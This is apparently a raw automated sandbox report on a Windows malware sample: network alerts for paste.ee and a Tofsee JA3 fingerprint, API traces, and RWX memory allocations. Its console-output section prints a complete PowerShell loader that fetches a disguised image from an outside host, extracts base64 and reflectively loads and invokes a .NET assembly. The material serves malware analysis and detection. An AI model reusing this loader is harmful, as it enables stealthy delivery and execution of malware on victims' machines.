TCP 192.168.56.101:49161 -> 104.21.84.67:443 2034978 ET POLICY Pastebin-style Service (paste .ee) in TLS SNI Potential Corporate Privacy Violation
TCP 192.168.56.101:49161 -> 104.21.84.67:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:49166 -> 172.67.215.45:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.101:49161
104.21.84.67:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1P5 CN=paste.ee 75:09:97:90:38:ad:dd:cc:0d:1b:d8:8b:02:ab:5d:a9:3b:7a:1f:1d
TLSv1
192.168.56.101:49166
172.67.215.45:443 		C=US, O=Let's Encrypt, CN=E1 CN=uploaddeimagens.com.br d4:47:9f:16:cd:db:0a:99:1e:d8:a8:20:24:9b:c9:bb:4c:62:39:71

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Exception calling "DownloadData" with "1" argument(s): "The underlying connecti
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: on was closed: Could not establish trust relationship for the SSL/TLS secure ch
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: annel."
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: At line:1 char:181
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/654/536/original/new_i
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: mage.jpg?1698957750';$webClient = New-Object System.Net.WebClient;$imageBytes =
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: $webClient.DownloadData <<<< ($imageUrl);$imageText = [System.Text.Encoding]::
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE6
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: 4_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.In
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: dexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex +=
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $im
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: ageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]:
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: :FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: ]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method =
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LnNtaG9nbi95dGlzYXYvcG90L
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: nlvY2l0aXVxZS8vOnB0dGg=' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: Exception calling "GetString" with "1" argument(s): "Array cannot be null.
console_handle: 0x0000001b
1 1 0

WriteConsoleW

 buffer: Parameter name: bytes"
console_handle: 0x00000027
1 1 0

WriteConsoleW

 buffer: At line:1 char:244
console_handle: 0x00000033
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/654/536/original/new_i
console_handle: 0x0000003f
1 1 0

WriteConsoleW

 buffer: mage.jpg?1698957750';$webClient = New-Object System.Net.WebClient;$imageBytes =
console_handle: 0x0000004b
1 1 0

WriteConsoleW

 buffer: $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.G
console_handle: 0x00000057
1 1 0

WriteConsoleW

 buffer: etString <<<< ($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE6
console_handle: 0x00000063
1 1 0

WriteConsoleW

 buffer: 4_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.In
console_handle: 0x0000006f
1 1 0

WriteConsoleW

 buffer: dexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex +=
console_handle: 0x0000007b
1 1 0

WriteConsoleW

 buffer: $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $im
console_handle: 0x00000087
1 1 0

WriteConsoleW

 buffer: ageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]:
console_handle: 0x00000093
1 1 0

WriteConsoleW

 buffer: :FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly
console_handle: 0x0000009f
1 1 0

WriteConsoleW

 buffer: ]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method =
console_handle: 0x000000ab
1 1 0

WriteConsoleW

 buffer: $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LnNtaG9nbi95dGlzYXYvcG90L
console_handle: 0x000000b7
1 1 0

WriteConsoleW

 buffer: nlvY2l0aXVxZS8vOnB0dGg=' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))
console_handle: 0x000000c3
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000000cf
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000000db
1 1 0

WriteConsoleW

 buffer: You cannot call a method on a null-valued expression.
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: At line:1 char:350
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/654/536/original/new_i
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: mage.jpg?1698957750';$webClient = New-Object System.Net.WebClient;$imageBytes =
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.G
console_handle: 0x0000012b
1 1 0

WriteConsoleW

 buffer: etString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>
console_handle: 0x00000137
1 1 0

WriteConsoleW

 buffer: >';$startIndex = $imageText.IndexOf <<<< ($startFlag);$endIndex = $imageText.In
console_handle: 0x00000143
1 1 0

WriteConsoleW

 buffer: dexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex +=
console_handle: 0x0000014f
1 1 0

WriteConsoleW

 buffer: $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $im
console_handle: 0x0000015b
1 1 0

WriteConsoleW

 buffer: ageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]:
console_handle: 0x00000167
1 1 0

WriteConsoleW

 buffer: :FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly
console_handle: 0x00000173
1 1 0

WriteConsoleW

 buffer: ]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method =
console_handle: 0x0000017f
1 1 0

WriteConsoleW

 buffer: $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LnNtaG9nbi95dGlzYXYvcG90L
console_handle: 0x0000018b
1 1 0

WriteConsoleW

 buffer: nlvY2l0aXVxZS8vOnB0dGg=' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))
console_handle: 0x00000197
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (IndexOf:String) [], RuntimeEx
console_handle: 0x000001a3
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310420
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003109a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003109a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003109a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310ba0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310ba0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310ba0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310ba0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310ba0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310ba0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003103e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003103e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003103e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003109a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003109a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003109a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0030ffe0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003109a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003109a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003109a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003109a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003109a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003109a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003109a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310d20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310d20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310d20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310d20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310d20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310d20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310d20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310d20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310d20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310d20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310d20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310d20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310d20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310d20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310c60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00310c60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00368da8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00369668
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00369668
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00369668
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00368de8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00368de8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00368de8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00368de8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00368de8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00368de8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
request GET https://paste.ee/d/69jx0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 1441792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028c0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029e0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2704
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026aa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2704
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026f2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029e1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0271a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026f3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026f4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0272b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02727000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02712000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02725000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026f5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0271c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029d0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026f6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0272c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02713000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02714000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02715000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02716000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02717000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02718000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02719000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05030000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05031000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05032000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05033000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05034000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05035000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05036000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05037000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05038000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05039000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
